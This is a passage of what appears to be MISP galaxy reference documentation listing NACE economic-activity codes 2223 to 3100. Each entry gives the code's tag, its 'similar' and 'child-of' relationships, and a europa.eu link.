http://data.europa.eu/ux2/nace2/2223

2224

The tag is: *misp-galaxy:NACE="2224"*

View relationships graph

2224 has relationships with:

- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12351. Table References

Links
http://data.europa.eu/ux2/nace2/2224

2225

The tag is: *misp-galaxy:NACE="2225"*

View relationships graph

2225 has relationships with:

- similar: misp-galaxy:NACE="2221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12352. Table References

Links
http://data.europa.eu/ux2/nace2/2225

2226

The tag is: *misp-galaxy:NACE="2226"*

View relationships graph

2226 has relationships with:

- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12353. Table References

Links
http://data.europa.eu/ux2/nace2/2226

2311

The tag is: *misp-galaxy:NACE="2311"*

View relationships graph

2311 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12354. Table References

Links

http://data.europa.eu/ux2/nace2/2311

2312

The tag is: *misp-galaxy:NACE="2312"*

View relationships graph

2312 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12355. Table References

Links
http://data.europa.eu/ux2/nace2/2312

2313

The tag is: *misp-galaxy:NACE="2313"*

View relationships graph

2313 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12356. Table References

Links
http://data.europa.eu/ux2/nace2/2313

2314

The tag is: *misp-galaxy:NACE="2314"*

View relationships graph

2314 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12357. Table References

Links
http://data.europa.eu/ux2/nace2/2314

2315

The tag is: *misp-galaxy:NACE="2315"*

View relationships graph

2315 has relationships with:

- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12358. Table References

Links
http://data.europa.eu/ux2/nace2/2315

2320

The tag is: *misp-galaxy:NACE="2320"*

View relationships graph

2320 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12359. Table References

Links
http://data.europa.eu/ux2/nace2/2320

2331

The tag is: *misp-galaxy:NACE="2331"*

View relationships graph

2331 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12360. Table References

Links
http://data.europa.eu/ux2/nace2/2331

2332

The tag is: *misp-galaxy:NACE="2332"*

View relationships graph

2332 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12361. Table References

Links
http://data.europa.eu/ux2/nace2/2332

2341

The tag is: *misp-galaxy:NACE="2341"*

View relationships graph

2341 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12362. Table References

Links
http://data.europa.eu/ux2/nace2/2341

2342

The tag is: *misp-galaxy:NACE="2342"*

View relationships graph

2342 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12363. Table References

Links
http://data.europa.eu/ux2/nace2/2342

2343

The tag is: *misp-galaxy:NACE="2343"*

View relationships graph

2343 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12364. Table References

Links
http://data.europa.eu/ux2/nace2/2343

2344

The tag is: *misp-galaxy:NACE="2344"*

View relationships graph

2344 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12365. Table References

Links
http://data.europa.eu/ux2/nace2/2344

2345

The tag is: *misp-galaxy:NACE="2345"*

View relationships graph

2345 has relationships with:

- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12366. Table References

Links
http://data.europa.eu/ux2/nace2/2345

2351

The tag is: *misp-galaxy:NACE="2351"*

View relationships graph

2351 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12367. Table References

Links

http://data.europa.eu/ux2/nace2/2351

2352

The tag is: *misp-galaxy:NACE="2352"*

View relationships graph

2352 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12368. Table References

Links
http://data.europa.eu/ux2/nace2/2352

2361

The tag is: *misp-galaxy:NACE="2361"*

View relationships graph

2361 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12369. Table References

Links
http://data.europa.eu/ux2/nace2/2361

2362

The tag is: *misp-galaxy:NACE="2362"*

View relationships graph

2362 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12370. Table References

Links
http://data.europa.eu/ux2/nace2/2362

2363

The tag is: *misp-galaxy:NACE="2363"*

View relationships graph

2363 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12371. Table References

Links
http://data.europa.eu/ux2/nace2/2363

2364

The tag is: *misp-galaxy:NACE="2364"*

View relationships graph

2364 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12372. Table References

Links
http://data.europa.eu/ux2/nace2/2364

2365

The tag is: *misp-galaxy:NACE="2365"*

View relationships graph

2365 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12373. Table References

Links
http://data.europa.eu/ux2/nace2/2365

2366

The tag is: *misp-galaxy:NACE="2366"*

View relationships graph

2366 has relationships with:

- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2223" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12374. Table References

Links
http://data.europa.eu/ux2/nace2/2366

2370

The tag is: *misp-galaxy:NACE="2370"*

View relationships graph

2370 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12375. Table References

Links
http://data.europa.eu/ux2/nace2/2370

2391

The tag is: *misp-galaxy:NACE="2391"*

View relationships graph

2391 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12376. Table References

Links
http://data.europa.eu/ux2/nace2/2391

2399

The tag is: *misp-galaxy:NACE="2399"*

View relationships graph

2399 has relationships with:

- similar: misp-galaxy:NACE="1320" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12377. Table References

Links
http://data.europa.eu/ux2/nace2/2399

2410

The tag is: *misp-galaxy:NACE="2410"*

View relationships graph

2410 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12378. Table References

Links
http://data.europa.eu/ux2/nace2/2410

2420

The tag is: *misp-galaxy:NACE="2420"*

View relationships graph

2420 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12379. Table References

Links
http://data.europa.eu/ux2/nace2/2420

2431

The tag is: *misp-galaxy:NACE="2431"*

View relationships graph

2431 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12380. Table References

Links
http://data.europa.eu/ux2/nace2/2431

2432

The tag is: *misp-galaxy:NACE="2432"*

View relationships graph

2432 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12381. Table References

Links
http://data.europa.eu/ux2/nace2/2432

2433

The tag is: *misp-galaxy:NACE="2433"*

View relationships graph

2433 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12382. Table References

Links
http://data.europa.eu/ux2/nace2/2433

2434

The tag is: *misp-galaxy:NACE="2434"*

View relationships graph

2434 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12383. Table References

Links
http://data.europa.eu/ux2/nace2/2434

2441

The tag is: *misp-galaxy:NACE="2441"*

View relationships graph

2441 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12384. Table References

Links
http://data.europa.eu/ux2/nace2/2441

2442

The tag is: *misp-galaxy:NACE="2442"*

View relationships graph

2442 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12385. Table References

Links
http://data.europa.eu/ux2/nace2/2442

2443

The tag is: *misp-galaxy:NACE="2443"*

View relationships graph

2443 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12386. Table References

Links
http://data.europa.eu/ux2/nace2/2443

2444

The tag is: *misp-galaxy:NACE="2444"*

View relationships graph

2444 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12387. Table References

Links
http://data.europa.eu/ux2/nace2/2444

2445

The tag is: *misp-galaxy:NACE="2445"*

View relationships graph

2445 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12388. Table References

Links
http://data.europa.eu/ux2/nace2/2445

2446

The tag is: *misp-galaxy:NACE="2446"*

View relationships graph

2446 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12389. Table References

Links
http://data.europa.eu/ux2/nace2/2446

2451

The tag is: *misp-galaxy:NACE="2451"*

View relationships graph

2451 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12390. Table References

Links
http://data.europa.eu/ux2/nace2/2451

2452

The tag is: *misp-galaxy:NACE="2452"*

View relationships graph

2452 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12391. Table References

Links
http://data.europa.eu/ux2/nace2/2452

2453

The tag is: *misp-galaxy:NACE="2453"*

View relationships graph

2453 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12392. Table References

Links
http://data.europa.eu/ux2/nace2/2453

2454

The tag is: *misp-galaxy:NACE="2454"*

View relationships graph

2454 has relationships with:

- similar: misp-galaxy:NACE="2453" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12393. Table References

Links
http://data.europa.eu/ux2/nace2/2454

2511

The tag is: *misp-galaxy:NACE="2511"*

View relationships graph

2511 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12394. Table References

Links
http://data.europa.eu/ux2/nace2/2511

2512

The tag is: *misp-galaxy:NACE="2512"*

View relationships graph

2512 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12395. Table References

Links
http://data.europa.eu/ux2/nace2/2512

2521

The tag is: *misp-galaxy:NACE="2521"*

View relationships graph

2521 has relationships with:

- similar: misp-galaxy:NACE="2530" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12396. Table References

Links
http://data.europa.eu/ux2/nace2/2521

2522

The tag is: *misp-galaxy:NACE="2522"*

View relationships graph

2522 has relationships with:

- similar: misp-galaxy:NACE="2530" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12397. Table References

Links
http://data.europa.eu/ux2/nace2/2522

2530

The tag is: *misp-galaxy:NACE="2530"*

View relationships graph

2530 has relationships with:

- similar: misp-galaxy:NACE="2540" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12398. Table References

Links
http://data.europa.eu/ux2/nace2/2530

2540

The tag is: *misp-galaxy:NACE="2540"*

View relationships graph

2540 has relationships with:

- similar: misp-galaxy:NACE="2540" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12399. Table References

Links
http://data.europa.eu/ux2/nace2/2540

2551

The tag is: *misp-galaxy:NACE="2551"*

View relationships graph

2551 has relationships with:

- similar: misp-galaxy:NACE="2561" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12400. Table References

Links
http://data.europa.eu/ux2/nace2/2551

2552

The tag is: *misp-galaxy:NACE="2552"*

View relationships graph

2552 has relationships with:

- similar: misp-galaxy:NACE="2561" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12401. Table References

Links
http://data.europa.eu/ux2/nace2/2552

2553

The tag is: *misp-galaxy:NACE="2553"*

View relationships graph

2553 has relationships with:

- similar: misp-galaxy:NACE="2561" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2562" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12402. Table References

Links
http://data.europa.eu/ux2/nace2/2553

2561

The tag is: *misp-galaxy:NACE="2561"*

View relationships graph

2561 has relationships with:

- similar: misp-galaxy:NACE="2562" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12403. Table References

Links
http://data.europa.eu/ux2/nace2/2561

2562

The tag is: *misp-galaxy:NACE="2562"*

View relationships graph

2562 has relationships with:

- similar: misp-galaxy:NACE="2562" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12404. Table References

Links
http://data.europa.eu/ux2/nace2/2562

2563

The tag is: *misp-galaxy:NACE="2563"*

View relationships graph

2563 has relationships with:

- similar: misp-galaxy:NACE="2562" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12405. Table References

Links
http://data.europa.eu/ux2/nace2/2563

2591

The tag is: *misp-galaxy:NACE="2591"*

View relationships graph

2591 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12406. Table References

Links
http://data.europa.eu/ux2/nace2/2591

2592

The tag is: *misp-galaxy:NACE="2592"*

View relationships graph

2592 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12407. Table References

Links
http://data.europa.eu/ux2/nace2/2592

2593

The tag is: *misp-galaxy:NACE="2593"*

View relationships graph

2593 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12408. Table References

Links
http://data.europa.eu/ux2/nace2/2593

2594

The tag is: *misp-galaxy:NACE="2594"*

View relationships graph

2594 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12409. Table References

Links

http://data.europa.eu/ux2/nace2/2594

2599

The tag is: *misp-galaxy:NACE="2599"*

View relationships graph

2599 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12410. Table References

Links
http://data.europa.eu/ux2/nace2/2599

2611

The tag is: *misp-galaxy:NACE="2611"*

View relationships graph

2611 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12411. Table References

Links
http://data.europa.eu/ux2/nace2/2611

2612

The tag is: *misp-galaxy:NACE="2612"*

View relationships graph

2612 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12412. Table References

Links
http://data.europa.eu/ux2/nace2/2612

2620

The tag is: *misp-galaxy:NACE="2620"*

View relationships graph

2620 has relationships with:

- similar: misp-galaxy:NACE="2823" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12413. Table References

Links
http://data.europa.eu/ux2/nace2/2620

2630

The tag is: *misp-galaxy:NACE="2630"*

View relationships graph

2630 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12414. Table References

Links
http://data.europa.eu/ux2/nace2/2630

2640

The tag is: *misp-galaxy:NACE="2640"*

View relationships graph

2640 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12415. Table References

Links
http://data.europa.eu/ux2/nace2/2640

2651

The tag is: *misp-galaxy:NACE="2651"*

View relationships graph

2651 has relationships with:

- similar: misp-galaxy:NACE="2630" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12416. Table References

Links
http://data.europa.eu/ux2/nace2/2651

2652

The tag is: *misp-galaxy:NACE="2652"*

View relationships graph

2652 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12417. Table References

Links
http://data.europa.eu/ux2/nace2/2652

2660

The tag is: *misp-galaxy:NACE="2660"*

View relationships graph

2660 has relationships with:

- similar: misp-galaxy:NACE="3250" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12418. Table References

Links
http://data.europa.eu/ux2/nace2/2660

2670

The tag is: *misp-galaxy:NACE="2670"*

View relationships graph

2670 has relationships with:

- similar: misp-galaxy:NACE="3250" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12419. Table References

Links
http://data.europa.eu/ux2/nace2/2670

2711

The tag is: *misp-galaxy:NACE="2711"*

View relationships graph

2711 has relationships with:

- similar: misp-galaxy:NACE="2712" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2790" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12420. Table References

Links
http://data.europa.eu/ux2/nace2/2711

2712

The tag is: *misp-galaxy:NACE="2712"*

View relationships graph

2712 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12421. Table References

Links
http://data.europa.eu/ux2/nace2/2712

2720

The tag is: *misp-galaxy:NACE="2720"*

View relationships graph

2720 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12422. Table References

Links
http://data.europa.eu/ux2/nace2/2720

2731

The tag is: *misp-galaxy:NACE="2731"*

View relationships graph

2731 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12423. Table References

Links
http://data.europa.eu/ux2/nace2/2731

2732

The tag is: *misp-galaxy:NACE="2732"*

View relationships graph

2732 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12424. Table References

Links
http://data.europa.eu/ux2/nace2/2732

2733

The tag is: *misp-galaxy:NACE="2733"*

View relationships graph

2733 has relationships with:

- similar: misp-galaxy:NACE="2611" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12425. Table References

Links
http://data.europa.eu/ux2/nace2/2733

2740

The tag is: *misp-galaxy:NACE="2740"*

View relationships graph

2740 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12426. Table References

Links
http://data.europa.eu/ux2/nace2/2740

2751

The tag is: *misp-galaxy:NACE="2751"*

View relationships graph

2751 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12427. Table References

Links
http://data.europa.eu/ux2/nace2/2751

2752

The tag is: *misp-galaxy:NACE="2752"*

View relationships graph

2752 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12428. Table References

Links
http://data.europa.eu/ux2/nace2/2752

2790

The tag is: *misp-galaxy:NACE="2790"*

View relationships graph

2790 has relationships with:

- similar: misp-galaxy:NACE="2611" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12429. Table References

Links
http://data.europa.eu/ux2/nace2/2790

2811

The tag is: *misp-galaxy:NACE="2811"*

View relationships graph

2811 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12430. Table References

Links
http://data.europa.eu/ux2/nace2/2811

2812

The tag is: *misp-galaxy:NACE="2812"*

View relationships graph

2812 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12431. Table References

Links
http://data.europa.eu/ux2/nace2/2812

2813

The tag is: *misp-galaxy:NACE="2813"*

View relationships graph

2813 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12432. Table References

Links
http://data.europa.eu/ux2/nace2/2813

2814

The tag is: *misp-galaxy:NACE="2814"*

View relationships graph

2814 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12433. Table References

Links
http://data.europa.eu/ux2/nace2/2814

2815

The tag is: *misp-galaxy:NACE="2815"*

View relationships graph

2815 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12434. Table References

Links
http://data.europa.eu/ux2/nace2/2815

2821

The tag is: *misp-galaxy:NACE="2821"*

View relationships graph

2821 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12435. Table References

Links
http://data.europa.eu/ux2/nace2/2821

2822

The tag is: *misp-galaxy:NACE="2822"*

View relationships graph

2822 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12436. Table References

Links
http://data.europa.eu/ux2/nace2/2822

2823

The tag is: *misp-galaxy:NACE="2823"*

View relationships graph

2823 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12437. Table References

Links
http://data.europa.eu/ux2/nace2/2823

2824

The tag is: *misp-galaxy:NACE="2824"*

View relationships graph

2824 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12438. Table References

Links
http://data.europa.eu/ux2/nace2/2824

2825

The tag is: *misp-galaxy:NACE="2825"*

View relationships graph

2825 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12439. Table References

Links
http://data.europa.eu/ux2/nace2/2825

2829

The tag is: *misp-galaxy:NACE="2829"*

View relationships graph

2829 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12440. Table References

Links
http://data.europa.eu/ux2/nace2/2829

2830

The tag is: *misp-galaxy:NACE="2830"*

View relationships graph

2830 has relationships with:

- similar: misp-galaxy:NACE="2892" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12441. Table References

Links
http://data.europa.eu/ux2/nace2/2830

2841

The tag is: *misp-galaxy:NACE="2841"*

View relationships graph

2841 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12442. Table References

Links
http://data.europa.eu/ux2/nace2/2841

2842

The tag is: *misp-galaxy:NACE="2842"*

View relationships graph

2842 has relationships with:

- similar: misp-galaxy:NACE="2892" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12443. Table References

Links
http://data.europa.eu/ux2/nace2/2842

2891

The tag is: *misp-galaxy:NACE="2891"*

View relationships graph

2891 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12444. Table References

Links
http://data.europa.eu/ux2/nace2/2891

2892

The tag is: *misp-galaxy:NACE="2892"*

View relationships graph

2892 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12445. Table References

Links
http://data.europa.eu/ux2/nace2/2892

2893

The tag is: *misp-galaxy:NACE="2893"*

View relationships graph

2893 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12446. Table References

Links
http://data.europa.eu/ux2/nace2/2893

2894

The tag is: *misp-galaxy:NACE="2894"*

View relationships graph

2894 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12447. Table References

Links
http://data.europa.eu/ux2/nace2/2894

2895

The tag is: *misp-galaxy:NACE="2895"*

View relationships graph

2895 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12448. Table References

Links

http://data.europa.eu/ux2/nace2/2895

2896

The tag is: *misp-galaxy:NACE="2896"*

View relationships graph

2896 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12449. Table References

Links
http://data.europa.eu/ux2/nace2/2896

2897

The tag is: *misp-galaxy:NACE="2897"*

View relationships graph

2897 has relationships with:

- similar: misp-galaxy:NACE="2896" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2899" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12450. Table References

Links
http://data.europa.eu/ux2/nace2/2897

2899

The tag is: *misp-galaxy:NACE="2899"*

View relationships graph

2899 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12451. Table References

Links
http://data.europa.eu/ux2/nace2/2899

2910

The tag is: *misp-galaxy:NACE="2910"*

View relationships graph

2910 has relationships with:

- similar: misp-galaxy:NACE="2711" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12452. Table References

Links
http://data.europa.eu/ux2/nace2/2910

2920

The tag is: *misp-galaxy:NACE="2920"*

View relationships graph

2920 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12453. Table References

Links
http://data.europa.eu/ux2/nace2/2920

2931

The tag is: *misp-galaxy:NACE="2931"*

View relationships graph

2931 has relationships with:

- similar: misp-galaxy:NACE="2790" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12454. Table References

Links
http://data.europa.eu/ux2/nace2/2931

2932

The tag is: *misp-galaxy:NACE="2932"*

View relationships graph

2932 has relationships with:

- similar: misp-galaxy:NACE="2312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2811" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2825" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12455. Table References

Links
http://data.europa.eu/ux2/nace2/2932

3011

The tag is: *misp-galaxy:NACE="3011"*

View relationships graph

3011 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12456. Table References

Links
http://data.europa.eu/ux2/nace2/3011

3012

The tag is: *misp-galaxy:NACE="3012"*

View relationships graph

3012 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12457. Table References

Links
http://data.europa.eu/ux2/nace2/3012

3013

The tag is: *misp-galaxy:NACE="3013"*

View relationships graph

3013 has relationships with:

- similar: misp-galaxy:NACE="3011" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12458. Table References

Links
http://data.europa.eu/ux2/nace2/3013

3020

The tag is: *misp-galaxy:NACE="3020"*

View relationships graph

3020 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12459. Table References

Links
http://data.europa.eu/ux2/nace2/3020

3031

The tag is: *misp-galaxy:NACE="3031"*

View relationships graph

3031 has relationships with:

- similar: misp-galaxy:NACE="3011" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12460. Table References

Links
http://data.europa.eu/ux2/nace2/3031

3032

The tag is: *misp-galaxy:NACE="3032"*

View relationships graph

3032 has relationships with:

- similar: misp-galaxy:NACE="3011" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12461. Table References

Links
http://data.europa.eu/ux2/nace2/3032

3040

The tag is: *misp-galaxy:NACE="3040"*

View relationships graph

3040 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12462. Table References

Links
http://data.europa.eu/ux2/nace2/3040

3091

The tag is: *misp-galaxy:NACE="3091"*

View relationships graph

3091 has relationships with:

- similar: misp-galaxy:NACE="2811" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12463. Table References

Links
http://data.europa.eu/ux2/nace2/3091

3092

The tag is: *misp-galaxy:NACE="3092"*

View relationships graph

3092 has relationships with:

- similar: misp-galaxy:NACE="3091" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12464. Table References

Links
http://data.europa.eu/ux2/nace2/3092

3099

The tag is: *misp-galaxy:NACE="3099"*

View relationships graph

3099 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12465. Table References

Links
http://data.europa.eu/ux2/nace2/3099

3100

The tag is: *misp-galaxy:NACE="3100"*

View relationships graph

3100 has relationships with:

